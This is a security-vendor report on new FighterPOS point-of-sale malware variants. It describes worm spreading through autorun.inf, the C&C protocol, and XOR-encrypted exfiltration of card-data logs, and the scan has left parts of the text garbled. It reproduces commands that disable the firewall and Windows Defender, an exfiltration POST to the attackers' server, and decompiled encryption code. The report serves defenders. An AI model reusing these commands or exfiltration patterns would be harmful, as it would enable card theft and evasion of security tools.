ATrendLabs Report

FighterPOS Gets Worm Routine

TrendLabs Security Intelligence Blog

Jay Yaneza and Erika Mendoza
Trend Micro Cyber Safety Solutions Team

February 2016



Trend Micro | FighterPOS Gets Worm Routine

Contents

a1 go o [8 1o 1[0 o RSP PUTR 1
Floki Intruder (WORM_POSFIGHT.SMFLK)......cccoiiiiiiiiie e 1
TSPY POSFIGHT . F oo e e e e 4
IS 1o 011 o ISP 8
CONCIUSION .. 8

TREND MICRO LEGAL DISCLAIMER

The information provided herein is for general information and educational purposes only. It is not intended and should not be construed to constitute legal advice.
The information contained herein may not be applicable to all situations and may not reflect the most current situation. Nothing contained herein should be relied
on or acted upon without the benefit of legal advice based on the particular facts and circumstances presented and nothing herein should be construed otherwise.
Trend Micro reserves the right to modify the contents of this document at any time without prior notice.

Translations of any material into other languages are intended solely as a convenience. Translation accuracy is not guaranteed nor implied. If any questions arise
related to the accuracy of a translation, please refer to the original language official version of the document. Any discrepancies or differences created in the
translation are not binding and have no legal effect for compliance or enforcement purposes.

Although Trend Micro uses reasonable efforts to include accurate and up-to-date information herein, Trend Micro makes no warranties or representations of any
kind as to its accuracy, currency, or completeness. You agree that access to and use of and reliance on this document and the content thereof is at your own risk.
Trend Micro disclaims all warranties of any kind, express or implied. Neither Trend Micro nor any party involved in creating, producing, or delivering this document
shall be liable for any consequence, loss, or damage, including direct, indirect, special, consequential, loss of business profits, or special damages, whatsoever
arising out of access to, use of, or inability to use, or in connection with the use of this document, or any errors or omissions in the content thereof. Use of this
information constitutes acceptance for use in an “as is” condition.




Trend Micro | FighterPOS Gets Worm Routine

Introduction

After identifying FighterPOS in April last, year, we found that the threat actor began creating
new variants of his tool — and he wasted no time doing so. In the months following our initial
write-up, we uncovered some more versions of the EMV Card Data Recorder, another variant of
FighterPOS (BrFighter) with the name ‘Floki Intruder’, and a very unusual version that borrows
code from both NewPOSThings and a very old 2011 PoS threat called RDASRV.

Let us discuss these new discoveries.

Floki Intruder (WORM_POSFIGHT.SMFLK)

Right at the very start, Floki Intruder has an obvious resemblance with the main FighterPOS as
it is based from the same vnLoader botnet client. However, its code has been shared and was
compiled on a different machine (possibly a different threat actor).

0002eq0: 10cf 4000 8035 4300 2814 0000 0850 4300
0002e70: @6l 4000 0050 4300 2a00 5c00 4100 4300
0002e80: 3200 5c00 5500 7300 &500 7200 7300 Scol
0002e590: 7200 &£00 &£00 7400 5c00 4400 &500 7300
0002ea0: 6k0O0 7400 &£00 7000 5c00 4200 7200 4800
0002ek0: €900 &700 6200 7400 8500 7200 2000 4800
0002ecO: 7500 7300 6900 &f£00 &e00 2000 7a00 3100
0002ed0: 3100 5c00 5000 7200 &£00 6a00 &500 &300
0002ee0: 7400 3100 2e00 7600 4200 7000 0000 0000
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0002e60: 10cf 4000 2035 4300 2814 0000 0OB50 4300
0002e70: &61f 4000 0050 4300 2200 5c00 4100 4300
0002e80: 3200 5c00 5500 7300 &500 7200 7300 5cO0
0002e90: 7200 &£00 &L£00 7400 5c00 4400 &500 7300
0002ea0: 6b0O0 7400 &L£00 7000 5cO0 4200 7200 4800
0002eb0: €900 &700 6200 7400 8500 7200 2000 4800
0002ecO: 7500 7300 6900 &L£00 &el0 2000 7a00 3100
0002ed0: 3100 5c00 5000 7200 &£00 6a00 @500 6300
0002eed: 7400 3100 2e00 Te00 €200 7000 0000 0000
0002e70: 80cd 4000 1038 4300 2814 0000 0850 4300
0002e80: 7&1lL 4000 0050 4300 2200 5c00 4100 4300
0002e90: 3a00 5c00 5500 7300 &500 7200 7300 Scol
0002ea0: 5500 7300 &500 7200 5000 4300 5c00 4400
0002ek0: €500 7300 6k0C0 7400 &£00 7000 5c00 5000
0002ecO: 4£00 5300 2000 5600 4900 5200 5500 5300
0002ed0: 2000 5300 4£00 5500 5200 4300 4500 2000
0002ee0: 4300 4£00 4400 4500 5c00 5000 7200 &fod C.
0002ef0: 6a00 6500 6300 7400 3100 2e00 7600 &200 7.
Q002£00: TOOO0 0000 0000 Q000 0000 0000 0000 0000 Dessssssssasaaas
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Figure 1:FighterPOS code compiled in two different machines


http://blog.trendmicro.com/trendlabs-security-intelligence/fighterpos-fighting-a-new-pos-malware-family/
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Floki Intruder appears to be an update to the main FighterPOS due to its added capabilities.
This includes commands that disable Firewall and default Windows protection in addition to
disabling the UAC. It also checks for other security products installed in the system by using

WMI.

¢ netsh firewall set opmode disable
e net stop security center
e net stop WinDefend

loc_00445BD7: ShellExecute(var_ 50, "winmgmts:{impersonationlLevel=impersonate roothSecuricyCentex”, 10, edi, esi, ebx)
loc_00445BDC: GetLastError

loc_00445C1 var_60 = 8

loc_00445C2

loc 00445C41: 10 = war 50."ExecQuery

Figure 2. Query execution that detects security products.

GET /lkjhgfdsa@l/bot/comando.php?
id=38343646333?3942&05=57‘EQEEE4EF7‘??32B'S85EI'2ESE?2EFEEE57‘3?3696FEE61EC&CDm=434F4D595554-4552393&3E4F29

A14E5440956495255538ver=2.8 HTTP/1.1
Host: lkjhgfdsa.xyz

User-Agent: FromtheGods
Connection: close

Figure 3. Hexadecimal value passed via URL

Floki Intruder is distributed through a compromised web site, with updated variants being
downloaded from its C&C server. However, when reaching out to the C&C server, there is a
slight change in the message being used by WORM_POSFIGHT.SMFLK:

Follow TCP Stream (tcp.stream eq 1)

Stream Content

Connection:
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Follow TCP Stream (tcp.stream eq 1)

Stream Content

Figure 4: Format of a recent FighterPOS sample, [timestamp | ID] and a message about a new
infection.

As compared to the initial FighterPOS which used the Portuguese phrase ‘Novo Bot Infectado’
( New Bot Infected), WORM_POSFIGHT.SMFLK now has the English phrase ‘New Infection
my God’. The reference to ‘god’ is later seen when it attempts to retrieve commands from the
C&C panel as the HTTP User-Agent field used is ‘FromtheGods’. However, the C&C panel
page retained the word ‘comando’, which is Portuguese for ‘command’.

Follow TCP Stream (tcp.stream eq 12)

Stream Content

Follow TCP Stream (tcp.stream eq Q)

Stream Content

GET /zxcvbnm/bot/comando. php?
ee________________________—————— ———— ————————————

lUser-Agent: FromtheGods
Connection:

Figure 5: Comparison between the original FighterPOS and WORM_POSFIGHT.SMFLK.

The biggest change in this update is its ability to distribute copies itself. By using WMI, this
malware was able to enumerate Logical Drives to drop copies of itself and an autorun.inf.



Trend Micro | FighterPOS Gets Worm Routine

Jet oWMI = Getdbject (“wimngmts:{impersonationlevel=impersonate} Y4~ & strComputer & “‘rooth3ecurityCenter®)
Fet colltems = oWHI.ExecQuery(“Select * from Win3d2Z_LogicalDisk™)

4 Rootkit, cloaking(4)

Characteristic Details Exhibited By

Hides file to evade detection File: F:\autorun.inf d9e9d84f927ca02d4b3bBcaBlc 2a87 7 eddedd 12f
Hides file to evade detection File: F:\InstallExplorer.exe d9e5d84f927c al9d4b3bBe aB0c 2a%7 7 eddedd12f
Hides file to evade detection File: E\autorun.inf d9e9dB4f927ca09d4b3b8c aB0c 2397 Teddedd 12f
Hides file to evade detection File: E-\InstallExplorer exe d9e9d84f927ca0%d4b3b8c aB0c 2a97Teddedd 12f

Figure 6. Autorun.inf automatically executes InstallExplorer.exe when the logical drive is
accessed.

TSPY_POSFIGHT.F

As previously established, FigherPOS is derived from the vnLoader botnet client. It utilizes code
from the RAM scraping functionality found in NewPOSThings and it creates a new file called
ActiveComponent.exe upon execution. This method of reusing components was done again in
files detect as but with a twist:

e One set uses Searcher.dll (shal: 41bce7075969591c1667e7ba7ec8717e0def87d1)
seen in RDASRYV,

e A more recent set was using the previously seen RAM scraping functionality of
NewPOSThings, dropped with the file name rservices.exe(shal:
al06bba216f71f468ae728c3f9e1db587500c30b).

We speculate that the development of TSPY_POSFIGHT.F was seemingly like a trial-and-error
and progressive. The table below should give us a better understanding of the similarities and
differences of this file set —


http://blog.trendmicro.com/trendlabs-security-intelligence/newposthings-has-new-pos-things/)
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-pos-ram-scraper-malware.pdf
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Compiler

ssageBox

File Name

Resource Component
(POS)

Encrypted File in
Resource?

Detection Name of POS
component

Autostart Registry

Mutex
Terminate and Delete
(possible older version)

POS logs

Injection Whitelist

POS log Exfiltration

Watchdog / Persistence
eylogger

Keystroke Logs

0cdc60F72bed9767043b6fa0377f009519874860 | 5c4b3918f33938d1d365eaceB036db25d7fch3ss

Delphi
Yes

Delphi
Yes

6bcb1815h754d5768665456 26e655c5ebca7f50b
df969e545acc4df1fcd 1a5F2b61ae9c73600c129

Delphi
Yes

Intemet Explorer

=]

PlugPay 2015 foi instalado com sucessol

Intemet Explorer

B

PlugPay 2015 foi instalade com sucesso!

Administraio POV

Definigbes de seguranca stualizadas!

oK

svcparser.exe

RESDLL - Searcher.dil

No

TSPY_POSLOGR.SMY.

HKCU\Software\Microsoft\Windows
rsion‘Run

)
1avaWT = %AllApp Data%\icomputernamel-
{username}\sveparser.exe

{computername}-{username}
N/A

Inject DLL and save logs to:

svcparser.exe

RESDLL - Searcher.dll

Yes

TSPY_POSLOGR.SMY

HKCU\Software\Microsoft\ Windows\CurrentVersion

\Run

avaWT = %Root%\ProgramData\ {computername)-

{usernamel\sveparser.exe
{computername}-{username}
N/A

Inject DLL and save logs to:

ir%\{PID} | | {rum}log

suchost.exe
explorer.exe
smss.exe
csrss.exe
winlogon.exe
Isass.exe
spoolsv.exe
algexe
wuauclt.exe

None

No
No
N/A

36\{PID}_{procname]_fnum}.log

None

None

No
No
N/A

searcher.exe
lexplorer.exe

RUSSO - rservices.exe
Yes

TSPY_POSFIGHT.B

HKCU\Software\Microsoft\Windows\Current Version\Run
1avaWT = %Root%\Programata\ {computername)-
{username]\Viexplorer.exe

encrypted {computername}-{usernamellavawT2.1
9%Root¥\ProgramData\icomputemamel-{username}\
svchost.exe

svcparser.exe

keyparser.exe

rservices.exe

71345f7bef 26 79bdac623a5311fb542d0b0492e8

Delphi
Yes

Administraio POV

Definigbes de seguranca stualizadas!

oK

searcher.exe
lexplorer.exe

RESDLL - Searcher.dll
Yes
TSPY_POSLOGR.SMY

HKCU\Software\Microsof\Windows\Current Version\Run
18vaWT = %Root%\Programpata\ {computername)-
{username]\iexplorer.exe

encrypted {compuiername}-{username}lavawT2.2.18
9%Root¥%\ProgramData\icomputemamel-{username\
svehostexe

svcparser.exe

keyparser.exe

rservices.exe

%Ro01%\File\data\logs. name} -DPs.log
%Roo0t%\ProgramDat

%\IPID}_{procname]}_{num}.log
ProgramDat

{ ) -DPS.log
N/A

HTTP POST: sslvpn.eu/bak/upload.ohp?use
{username]&info={content of DPS.log}

computernamel-

Yes
Yes

C:\File\data\logs2\{computername}-{username} -KS.log

{i ) -DPS.Iog

suchostexe
explorer.exe

smss.exe

csrss.exe

winlogon.exe

Isass.exe

spoolsv.exe

algexe

wuauclt.exe

svhost.exe

suhost.exe

skydrive.exe

taskmgr.exe

wininit.exe

HTTP POST: sslvpn.eu/bak/upload,php2user={computername)-
{username]&info={content of DPS.log}

Yes
Yes

C:\AMicroseft\logs3\{computername}-{username} -KS.log

Figure 7. Comparison of TSPY_POSFIGHT.F file set

Upon analysis, the sample sets of TSPY_POSFIGHT.F were designed to be an upgrade of

itself.
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TSPY_POSFIGHT.F TSPY_POSFIGHT.F TSPY_POSFIGHT.F
svcparser.exe Searcher.exe / lexplorer.exe Searcher.exe / lexplorer.exe
(With searcher.dll) (With rsevices.exe) (With rsevices.exe)

Terminates and deletes the
following if found in specific
location: svchost.exe,
svcpraser.exe, keyparser.exe,
rservices.exe

Figure 8. Progression of TSPY_POSFIGHT.F

While TSPY_POSFIGHT.F is not derived from the vnLoader botnet client, the approach (or
style) used here was similar — namely:

a)

b)

c)

The main binary could be changed, but the scraper component was reused. The main
FighterPOS reused the scraper from NewPOSThings, while TSPY_POSFIGHT.F
reused components from RDASRYV (shal:
41bce7075969591c1667e7ba7ec8717e0def87d1) and the scraper component from
FighterPOS (shal: al06bba216f71f468ae728c3f9e1db587500c30b)

To utilize the output of the scraper component, the main binary had to redirect the
output. FighterPOS redirected the scraper output to a file called “traces.txt”, and
TSPY_POSFIGHT.F redirected the output to itself by piping the output of the child
process (POS module).

Both FighterPOS and TSPY_POSFIGHT.F were seen mostly within Brazil, and some
within the United States.

Since TSPY_POSFIGHT.F was not derived from vnLoader, the command control (C&C) server
communication is different. Unlike the previously discussed variant, TSPY_POSFIGHT.F does

not accept backdoor commands, nor obtain any other information about the infected computer.
It only connects to the server to send possible credit card logs that the scraper has gathered.

The main executable file monitors the file {computername}-{username} -DPS.log in the ‘bak’
folder then sends its contents every hour via HTTP POST with the following arguments:

User — combination of computername and username, separated by a dash (-)
Info — all the contents of the log file
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POST /bak/upload.php HTTR/1.1

Content-Type: application/x-www-Form-urlencoded

User-agent: Mozilla/4.0(compatible; MSIE 7.0b; windows NT &.0)
Host: sslwvpn.eu

Content-Length: &1

Cache-Contraol: no-cache

us er —oumepE——— i T o= S—

Figure 9. HTTP POST communication with the User and Info section

Unlike BrFighter and Floki Intruder, TSPY_POSFIGHT.F protects its data by encrypting the log
files. It does a byte-per-byte XOR against a Microsoft Office serial key, ‘VBWYT-BBWKV-
P86YX-G642C-3C3D3'. The data to be sent via HTTP POST needs to encode the encrypted
string to eliminate special and reserved characters.

len = getstringlength{buffout) / 29; ff 29 = length of key
if { len »= 8 )
{

ctr = 1len + 1;

do

{
System:z:_ linkproc__ LStrCat{{int)&uis, "UBWYT-BBWKVU-PBO6YX-GO642C-3C3D3");// make XOR table equivalent to buffer length

—-ctr;
H
while { ctr 33

H
u5 = getstringlength(buffout);
if { v5 > 8 )
{
i = 13
do
{
u? = ullh;
vid = *(_BYTE =)(ui14 + vé - 1) * ={_BYTE =){buffout + ué - 1);// KOR encryption
LOBYTE(u7) = ul3;
unknown_libname_294(&u12, u7});
System:z:_ linkproc__ LStrCat{v2, vi2);
+1y6;
--u5;

H
while { u5 };
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len = éetstringlength(encryptedstring);
if ( len > @)

{
vi4 = len;
vl5 = 1;
do

{
ud = (v3 << 8) + =(_BYTE =)(encryptedstring + w15 - 1);
uZ += B;
while { u2 >= 6 )
{
u2 -= 63
us = w3 (1 <K v2);
ud %=1 L v2;
vt = (int)“ABCDEFGHIJKLMHOPQRSTUUWKYZabcdefghijklmnopgrstuvwsyzB123456789+/";
LOBYTE{u6) = afbcdefghijklmn[u5];
unknown_libname_294(&v13, va);
System::__ linkproc__ LStrCat{vi6, vi3);

e

while { vik )3
e
ifFfuv2>»m)

{
v7 = (int)"ABCDEFGHIJKLHNOPOQRSTUVMXYZabcdefghi jklmnopqrstuvwsyzB123456789+/";

LOBYTE{v7) = afmbcdefghijklmn[ud << {6 - vZ)];
unknown_libname_294(&u12, v7);
System::_ linkproc__ LStrCat{vids, vi2);

¥

Figure 10. Encryption of log files and eliminating special and reserved characters.

Distribution

Floki Intruder WORM_POSFIGHT.SMFLK) has been spotted as early as July 2015 and has
slowed down distribution considerably towards the end of 2015. This version of FighterPOS has
been spotted in Brazil and, surprisingly, Singapore. TSPY_POSFIGHT.F, on the other hand,
has been observed as early as April 2015 mostly within Brazil and the United States. Not
surprisingly, the targets of both are spread across small and medium sized businesses, but
we’ve seen infections in the satellite locations of a larger organization (meaning, not the main
branch).

Conclusion

One of the best practices of protecting such terminals is to segregate their traffic and employ
strict access controls but, strangely, the distribution and design of the threats we have
discussed above seem to imply that their targets have bare internet access.

Also, since PoS terminals have an expected set of applications to be run, consider
implementing application whitelisting on the terminals.

The modification done on FighterPOS to include other functionalities also echo what we have
seen in other modifications done in old botnet code like what we have observed in
WORM_KASIDET.


http://www.trendmicro.com/us/enterprise/product-security/endpoint-application-control/pos-system-security/app-whitelisting/index.htm
http://blog.trendmicro.com/trendlabs-security-intelligence/credit-card-scraping-kasidet-builder-leads-to-spike-in-detections/).
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Trend Micro detects all of the indicators of both threats, and is constantly in the look-out for such
evolution.
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